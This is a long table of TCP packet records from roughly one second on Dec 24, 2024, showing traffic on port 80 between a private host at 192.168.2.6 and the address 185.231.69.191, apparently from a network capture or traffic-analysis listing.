Dec 24, 2024 14:02:36.845297098 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:36.845382929 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:36.845424891 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:36.846349955 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:36.846362114 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:36.846400023 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:36.846529961 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:36.846580982 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:36.847418070 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:36.847460985 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:36.847762108 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:36.847807884 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:36.848519087 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:36.848566055 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:36.849355936 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:36.849368095 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:36.849411011 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:36.849486113 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:36.849548101 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:36.850313902 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:36.850327015 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:36.850363016 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:36.850373983 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:36.851238966 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:36.851284027 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:36.851416111 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:36.851459026 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:36.852473974 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:36.852487087 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:36.852519989 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:36.853243113 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:36.853292942 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:36.853307962 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:36.853425980 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:36.854269028 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:36.854280949 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:36.854317904 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:36.855154991 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:36.855201960 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:36.855328083 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:36.855367899 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:36.856201887 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:36.856215000 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:36.856251001 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:36.857084990 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:36.857134104 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:36.857388973 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:36.857434988 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:36.858314991 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:36.858328104 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:36.858365059 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:36.859124899 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:36.859172106 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:36.859231949 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:36.859281063 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:36.860045910 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:36.860085011 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:36.860090971 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:36.860121965 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:36.861201048 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:36.861248970 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:36.861821890 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:36.861865997 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:36.861942053 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:36.861984968 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:36.862092018 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:36.862138033 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:36.862982988 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:36.863029957 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:36.863209963 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:36.863260984 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:36.864005089 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:36.864022970 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:36.864056110 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:36.864067078 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:36.865170002 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:36.865226984 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:36.865650892 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:36.865700006 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:36.866245985 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:36.866292000 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:36.866884947 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:36.866929054 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:36.866930962 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:36.866940975 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:36.866966009 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:36.866977930 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:36.867996931 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:36.868050098 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:36.868077993 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:36.868124962 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:36.868865013 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:36.868913889 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:36.868943930 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:36.868987083 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:36.869884014 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:36.869896889 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:36.869939089 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:36.870860100 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:36.870913029 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:36.871172905 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:36.871220112 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:36.871809959 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:36.871822119 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:36.871854067 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:36.871864080 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:36.872782946 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:36.872834921 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:36.872934103 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:36.872977972 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:36.873794079 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:36.873842001 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:36.873873949 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:36.873919010 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:36.874783993 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:36.874831915 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:36.874888897 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:36.874933958 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:36.875665903 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:36.875711918 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:36.875736952 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:36.875782013 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:36.876692057 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:36.876781940 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:36.876899958 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:36.877067089 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:36.877634048 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:36.877654076 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:36.877695084 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:36.878612041 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:36.878869057 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:36.878920078 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:36.879646063 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:36.879693031 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:36.879851103 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:36.879894972 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:36.880588055 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:36.880637884 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:36.880695105 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:36.880743980 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:36.881597042 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:36.881642103 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:36.882457018 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:36.882503986 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:36.882570028 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:36.882581949 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:36.882615089 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:36.883434057 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:36.883485079 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.024363041 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.024516106 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.024756908 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.024770975 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.024883032 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.024900913 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.025121927 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.025713921 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.025773048 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.026010990 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.026058912 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.026784897 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.026797056 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.026838064 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.027753115 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.027817965 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.027879000 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.027954102 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.028736115 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.028817892 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.029669046 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.029681921 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.029695988 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.029750109 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.030731916 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.030782938 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.030848980 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.030916929 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.031730890 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.031781912 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.032715082 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.032728910 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.032769918 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.032840967 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.032923937 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.033575058 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.033587933 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.033632040 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.034595966 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.034651041 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.035201073 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.035253048 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.035563946 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.035576105 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.035617113 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.036545992 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.036597967 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.036873102 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.036923885 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.037602901 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.037657022 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.038331985 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.038383961 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.038588047 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.038635015 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.038743973 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.038794041 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.039572954 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.039623976 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.039630890 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.039680004 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.040395975 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.040441990 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.040617943 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.040663004 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.041416883 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.041467905 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.041527033 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.041573048 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.042426109 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.042478085 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.042484045 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.042531013 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.043374062 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.043428898 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.044148922 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.044200897 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.045166969 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.045181990 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.045214891 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.045231104 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.045279980 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.045367956 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.045665979 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.045712948 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.046380043 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.046392918 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.046432972 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.047645092 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.047657013 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.047697067 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.048331976 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.048343897 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.048387051 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.049318075 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.049365997 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.049388885 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.049489975 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.050329924 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.050342083 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.050383091 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.050405979 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.051222086 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.051279068 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.052196980 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.052208900 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.052247047 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.052283049 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.052329063 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.053181887 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.053236008 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.054076910 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.054125071 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.054151058 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.054163933 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.054197073 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.054214001 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.055157900 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.055171013 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.055207968 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.056108952 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.056122065 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.056162119 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.057037115 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.057086945 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.057364941 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.057419062 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.058063030 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.058074951 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.058111906 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.059106112 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.059156895 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.059215069 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.059273958 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.059962988 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.060008049 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.060121059 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.060165882 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.060991049 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.061038971 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.061958075 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.061969042 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.062007904 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.062026024 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.062072039 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.062939882 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.062988997 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.063498974 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.063548088 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.064066887 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.064079046 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.064116955 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.065073013 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.065121889 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.065181017 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.065239906 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.065877914 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.065927029 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.066813946 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.066864014 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.066895962 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.066973925 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.067050934 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.067095995 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.067826986 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.067877054 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.067898989 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.067943096 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.068800926 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.068850994 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.068919897 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.068964005 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.069818020 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.069871902 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.069900036 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.069946051 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.070764065 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.070813894 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.070872068 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.070931911 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.071742058 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.071753979 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.071793079 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.072679996 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.072731972 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.072796106 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.072854996 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.073699951 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.073746920 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.074188948 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.074237108 CET	49787	80	192.168.2.6	185.231.69.191
